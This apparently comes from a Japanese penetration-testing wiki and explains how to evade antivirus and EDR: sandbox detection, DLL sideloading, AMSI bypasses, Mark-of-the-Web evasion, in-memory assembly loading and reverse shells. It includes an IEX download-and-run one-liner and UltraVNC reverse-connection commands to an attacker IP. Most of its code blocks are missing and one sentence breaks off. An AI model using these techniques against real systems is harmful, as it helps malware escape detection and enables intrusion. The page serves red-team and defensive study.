Antivirus (AV) Bypass
このページは@m2rc_pによって書かれました!
AV回避方法論
現在、AVはファイルが悪意のあるものかどうかをチェックするために、静的検出、動的解析、さらにはより高度なEDRでは挙動解析など、さまざまな方法を使用しています。
静的検出
静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列をフラグ付けしたり、ファイル自体から情報を抽出したりすることで達成されます(たとえば、ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、それらが分析されて悪意のあるものとしてフラグ付けされている可能性があるため、簡単に見つかる可能性があります。この種の検出を回避する方法がいくつかあります。
暗号化
バイナリを暗号化すると、AVはプログラムを検出する方法がなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要です。
曖昧化
AVをバイパスするためには、バイナリやスクリプト内の一部の文字列を変更するだけで十分な場合がありますが、曖昧化する内容によっては時間がかかる場合があります。
カスタムツール
独自のツールを開発すると、既知の悪意のある署名がないため、多くの時間と労力がかかります。
Windows Defenderの静的検出に対する良い方法は、ThreatCheckを使用することです。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせるもので、これにより、バイナリ内のフラグ付けされた文字列やバイトを正確に特定できます。
実用的なAV回避に関するYouTubeプレイリストをぜひご覧ください。
動的解析
動的解析は、AVがバイナリをサンドボックスで実行し、悪意のある活動(たとえば、ブラウザのパスワードを復号化して読み取ろうとしたり、LSASSにミニダンプを実行したりすることなど)を監視することです。この部分は少し扱いにくいかもしれませんが、サンドボックスを回避するためのいくつかの方法があります。
実行前にスリープ 実装方法によっては、AVの動的解析をバイパスする素晴らしい方法になることがあります。AVはユーザーの作業を妨げないようにファイルをスキャンする時間が非常に短いため、長いスリープを使用するとバイナリの解析が妨げられることがあります。問題は、多くのAVサンドボックスが、実装方法によってはスリープをスキップできることです。
マシンのリソースをチェック 通常、サンドボックスは非常に少ないリソースしか使用できません(たとえば、< 2GB RAM)、そうでないとユーザーのマシンが遅くなる可能性があります。ここでは非常に創造的になることもできます。たとえば、CPUの温度やファンの回転数をチェックすることで、サンドボックスに実装されていないこともあります。
マシン固有のチェック "contoso.local" ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして、指定したものと一致するかどうかを確認し、一致しない場合はプログラムを終了させることができます。
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであることがわかりましたので、マルウェアを爆発させる前にコンピュータ名をチェックし、名前がHAL9THと一致する場合は、Defenderのサンドボックス内にいることを意味しますので、プログラムを終了させることができます。
サンドボックスに対抗するための@mgeekyからの他の本当に良いヒント
この投稿で述べたように、公開ツールは最終的に検出されるので、自分自身に次のような質問をしてみるべきです:
たとえば、LSASSをダンプしたい場合、本当にmimikatzを使用する必要がありますか? それとも、より知名度の低い別のプロジェクトを使用してLSASSをダンプすることができますか。
正しい答えはおそらく後者です。mimikatzを例に取ると、おそらくAVやEDRによって最もフラグ付けされたマルウェアの1つであるか、もしくは最もフラグ付けされたマルウェアである可能性がありますが、プロジェクト自体は非常にクールですが、AVを回避するためにそれを使用するのは悪夢です。したがって、達成しようとしている目標に対して代替手段を探してください。
回避のためにペイロードを変更する際は、Defenderの自動サンプル送信をオフにしてください。そして、本当に、VIRUSTOTALにアップロードしないでください。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
EXE vs DLL
可能な限り、常に回避のためにDLLを使用することを優先し、私の経験では、DLLファイルは通常検出されにくく分析されにくいため、いくつかのケースで検出を回避するための非常にシンプルなトリックです(もちろん、ペイロードがDLLとして実行できる方法がある場合)。
この画像で示されているように、HavocのDLLペイロードはantiscan.meで4/26の検出率であり、EXEペイロードは7/26の検出率です。
次に、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを紹介します。
DLL Sideloading & Proxying
DLL Sideloadingは、被害者アプリケーションと悪意のあるペイロードを並べて配置することで、ローダーが使用するDLL検索順序を利用します。
Siofraを使用して、DLL Sideloadingに対して脆弱なプログラムをチェックすることができます。以下は、PowerShellスクリプトです:
このコマンドは、"C:\Program Files\"内にあるDLLハイジャッキングの影響を受けやすいプログラムのリストと、それらがロードしようとするDLLファイルを出力します。
DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします。この技術は適切に行われればかなりステルスですが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に見つかる可能性があります。
プログラムがロードを期待している特定の関数を含む悪意のあるDLLを配置するだけでは、ペイロードがロードされません。この問題を解決するために、DLLプロキシング/フォワーディングと呼ばれる別の技術を使用します。
DLLプロキシングは、プログラムがプロキシ(および悪意のある)DLLからオリジナルのDLLに行う呼び出しを転送し、プログラムの機能を保持し、ペイロードの実行を処理できるようにします。
私は@flangvikのSharpDLLProxyプロジェクトを使用します。
以下は私が実行した手順です:
最後のコマンドは、DLLのソースコードテンプレートと、元の名前が変更されたDLLの2つのファイルを提供します。
これが結果です:
私たちのシェルコード(SGNでエンコードされています)とプロキシDLLの両方が、antiscan.meで0/26の検出率を持っています!これは成功と言えるでしょう。
私は、S3cur3Th1sSh1tのtwitch VODとippsecのビデオを見ることを強くお勧めします。これにより、私たちがより詳細に議論した内容についてさらに理解できます。
Freezeは、中断されたプロセス、直接システムコール、代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです
Freezeを使用して、シェルコードをステルスモードでロードして実行することができます。
回避はただの猫とねずみのゲームであり、今日うまくいっても明日は検出される可能性があるため、可能であれば複数の回避技術を連鎖させてみてください。
AMSI(Anti-Malware Scan Interface)
AMSIは"ファイルレスマルウェア"を防ぐために作成されました。最初は、AVはディスク上のファイルのみをスキャンできる能力しかありませんでした。そのため、何らかの方法で直接メモリ内でペイロードを実行できれば、AVはそれを防ぐ手段を持っていませんでした。
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
ユーザーアカウント制御(EXE、COM、MSI、またはActiveXの昇格)
PowerShell(スクリプト、対話的使用、および動的コード評価)
Windowsスクリプトホスト(wscript.exeおよびcscript.exe)
JavaScriptおよびVBScript
Office VBAマクロ
これにより、アンチウイルスソリューションがスクリプトの動作を検査できるようになり、スクリプトの内容を暗号化されずに非難された形式で公開します。
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
を実行すると、Windows Defenderで次のアラートが表示されます。
スクリプトをディスクに保存せずにメモリ内で実行したにもかかわらず、AMSIのために検出されました。
AMSIを回避する方法はいくつかあります。
難読化
AMSIは主に静的検出で動作するため、読み込もうとしているスクリプトを変更することは検出を回避する良い方法となります。
ただし、AMSIは複数のレイヤーを持つスクリプトの難読化も可能です。そのため、難読化は、どのように行われているかによっては避けるべきではない場合もあります。これにより、回避が直感的でなくなります。しかし、時には、変数名をいくつか変更するだけで十分な場合もあるため、フラグが立っているものによります。
AMSIバイパス
AMSIはpowershell(またcscript.exe、wscript.exeなど)プロセスにDLLを読み込むことで実装されているため、特権のないユーザーとして実行していても簡単に操作できます。このAMSIの実装上の欠陥により、研究者はAMSIスキャンを回避するための複数の方法を見つけました。
エラーを強制する
AMSIの初期化を失敗させる(amsiInitFailed)と、現在のプロセスに対してスキャンが開始されなくなります。元々はMatt Graeberによって開示され、Microsoftは広範な使用を防ぐための署名を開発しました。
現在のPowerShellプロセスでAMSIを使用不能にするためには、たった1行のPowerShellコードが必要でした。 もちろん、この行はAMSI自体によってフラグが立てられているため、このテクニックを使用するにはいくつかの修正が必要です。
こちらは、このGitHub Gistから取得した修正されたAMSIバイパスです。
メモリパッチ
この技術は、最初に@RastaMouseによって発見され、amsi.dll内の"AmsiScanBuffer"関数のアドレスを見つけ、それをE_INVALIDARGコードのコードを返すように上書きすることを含みます。これにより、実際のスキャン結果が0を返し、これはクリーンな結果として解釈されます。
詳細な説明については、https://rastamouse.me/memory-patching-amsi-bypass/を参照してください。
PowerShellでAMSIをバイパスするために使用される他の多くの技術もあります。詳細については、このページとこのリポジトリをチェックしてください。
また、このスクリプトはメモリパッチを介して新しいPowersh
遮蔽
C#のクリアテキストコードを遮蔽するために使用できるいくつかのツール、バイナリをコンパイルするためのメタプログラミングテンプレートを生成するツール、またはコンパイルされたバイナリを遮蔽するツールがあります:
InvisibilityCloak: C# obfuscator
Obfuscator-LLVM: このプロジェクトの目的は、LLVMコンパイルスイートのオープンソースフォークを提供し、コードの遮蔽と改ざん防止を通じてソフトウェアセキュリティを向上させることです。
ADVobfuscator: ADVobfuscatorは、外部ツールを使用せずに、コンパイル時に
C++11/14
言語を使用して、遮蔽されたコードを生成する方法を示しています。obfy: C++テンプレートメタプログラミングフレームワークによって生成された遮蔽された操作のレイヤーを追加し、アプリケーションをクラックしようとする人の生活を少し難しくします。
Alcatraz: Alcatrazは、.exe、.dll、.sysなど、さまざまな異なるpeファイルを遮蔽できるx64バイナリ遮蔽ツールです。
metame: Metameは、任意の実行可能ファイル用のシンプルな変形コードエンジンです。
ropfuscator: ROPfuscatorは、ROP(return-oriented programming)を使用してLLVMサポートされた言語のための細かい粒度のコード遮蔽フレームワークです。ROPfuscatorは、通常の制御フローの私たちの自然な概念を変換することで、アセンブリコードレベルでプログラムを遮蔽し、通常の制御フローを妨げます。
Nimcrypt: Nimcryptは、Nimで書かれた.NET PE Crypterです。
inceptor: Inceptorは、既存のEXE/DLLをシェルコードに変換してからロードできます
SmartScreen & MoTW
インターネットからいくつかの実行可能ファイルをダウンロードして実行する際にこの画面を見たことがあるかもしれません。
Microsoft Defender SmartScreenは、潜在的に悪意のあるアプリケーションを実行することからエンドユーザーを保護するためのセキュリティメカニズムです。
SmartScreenは主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションはSmartScreenをトリガーし、エンドユーザーにファイルの実行を警告し、防止します(ただし、[詳細情報] -> [とにかく実行]をクリックすることでファイルを実行できます)。
MoTW(Mark of The Web)は、Zone.Identifierという名前のNTFS代替データストリームであり、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLとともに保存されます。
信頼された署名証明書で署名された実行可能ファイルは、SmartScreenをトリガーしません。
Mark of The Webを回避するための非常に効果的な方法は、ISOなどのコンテナ内にペイロードをパッケージ化することです。これは、Mark-of-the-Web(MOTW)が非NTFSボリュームに適用できないためです。
PackMyPayloadは、Mark of The Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
使用例:
以下は、PackMyPayloadを使用してISOファイル内にペイロードをパッケージ化してSmartScreenをバイパスするデモです。
C#アセンブリリフレクション
C#バイナリをメモリにロードする方法はかなり以前から知られており、AVに検出されることなくポストエクスプロイテーションツールを実行する非常に優れた方法です。
ペイロードがディスクに触れることなく直接メモリにロードされるため、全体のプロセスでAMSIをパッチする必要があります。
ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)はすでに、C#アセンブリをメモリ内で直接実行する機能を提供していますが、その方法は異なります。
Fork&Run
これは新しい犠牲プロセスを生成し、その新しいプロセスにポストエクスプロイテーションの悪意のあるコードをインジェクトし、悪意のあるコードを実行し、新しいプロセスを終了する方法です。これには利点と欠点があります。フォークして実行する方法の利点は、実行がBeaconインプラントプロセスの外部で発生することです。これは、ポストエクスプロイテーションアクションで何かがうまくいかないか検出された場合、インプラントが生き残る可能性がはるかに高いということを意味します。欠点は、行動検出によって検出される可能性が高くなるということです。
Inline
これは、ポストエクスプロイテーションの悪意のあるコードを独自のプロセスにインジェクトすることです。この方法では、新しいプロセスを作成してAVにスキャンさせる必要がなくなりますが、ペイロードの実行中に何かがうまくいかない場合、Beaconを失う可能性がはるかに高く、クラッシュする可能性があります。
C#アセンブリのロードについて詳しく知りたい場合は、この記事https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/とそのInlineExecute-Assembly BOF(https://github.com/xforcered/InlineExecute-Assembly)をチェックしてください。
また、PowerShellからC#アセンブリをロードすることもできます。Invoke-SharpLoaderとS3cur3th1sSh1tのビデオをチェックしてください。
他のプログラミング言語の使用
https://github.com/deeexcee-io/LOI-Binsで提案されているように、攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを提供することで、他の言語を使用して悪意のあるコードを実行することが可能です。
SMB共有上のインタプリタバイナリと環境へのアクセスを許可することで、侵害されたマシンのメモリ内でこれらの言語で任意のコードを実行できます。
リポジトリによると、Defenderはスクリプトをスキャンしますが、Go、Java、PHPなどを利用することで静的シグネチャをバイパスする柔軟性が増します。これらの言語でランダムな難読化されていない逆シェルスクリプトをテストした結果、成功しています。
高度な回避
回避は非常に複雑なトピックであり、1つのシステム内で多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境で完全に検出されずにとどまることはほとんど不可能です。
対抗するすべての環境にはそれぞれ強みと弱みがあります。
より高度な回避テクニックについての洞察を得るために、@ATTL4Sのこのトークをぜひご覧ください。
また、@mariuszbitによるEvasion in Depthに関する素晴らしいトークもあります。
古いテクニック
Defenderが悪意のあると見なす部分をチェック
ThreatCheckを使用すると、Defenderが悪意のあると見なす部分を削除し、それを分割するまでの手順がわかります。同様のことを行う別のツールはavredで、https://avred.r00ted.ch/でサービスを提供しています。
Telnetサーバー
Windows10まで、すべてのWindowsにはTelnetサーバーが付属しており、(管理者として)インストールできました。
システムが起動したときに開始されるようにして、今すぐ実行してください。
Telnetポートの変更(ステルス)とファイアウォールの無効化:
UltraVNC
ダウンロード先: http://www.uvnc.com/downloads/ultravnc.html (セットアップではなくバイナリダウンロードが必要)
ホストでの手順: winvnc.exe を実行し、サーバーを設定します:
Disable TrayIcon オプションを有効にします
VNC Password にパスワードを設定します
View-Only Password にパスワードを設定します
その後、バイナリ winvnc.exe と新しく作成されたファイル UltraVNC.ini を被害者の内部に移動します
逆接続
攻撃者は自身のホストでバイナリ vncviewer.exe -listen 5900
を実行して、逆接続のVNC接続をキャッチする準備をします。その後、被害者の内部で: winvncデーモンを起動 winvnc.exe -run
し、winvnc.exe [-autoreconnect] -connect <attacker_ip>::5900
を実行します
警告: ステルスを維持するためにいくつかのことを行ってはいけません
既に実行中の場合は
winvnc
を起動しないでください。そうするとポップアップが表示されます。実行中かどうかはtasklist | findstr winvnc
で確認できます同じディレクトリに
UltraVNC.ini
がない状態でwinvnc
を起動しないでください。そうすると設定ウィンドウが開きますヘルプのために
winvnc -h
を実行しないでください。そうするとポップアップが表示されます
GreatSCT
ダウンロード先: https://github.com/GreatSCT/GreatSCT
GreatSCT内部:
今、msfconsole -r file.rc
でリスナーを開始し、次のようにxmlペイロードを実行します:
現在のディフェンダーはプロセスを非常に速く終了します。
自分自身のリバースシェルをコンパイルする
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
最初のC#リバースシェル
次のようにコンパイルします:
使用方法:
C#を使用したコンパイラ
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
自動ダウンロードと実行:
C#の難読化ツールのリスト: https://github.com/NotPrab/.NET-Obfuscator
C++
Pythonを使用したインジェクターのビルド例:
その他のツール
もっと
Last updated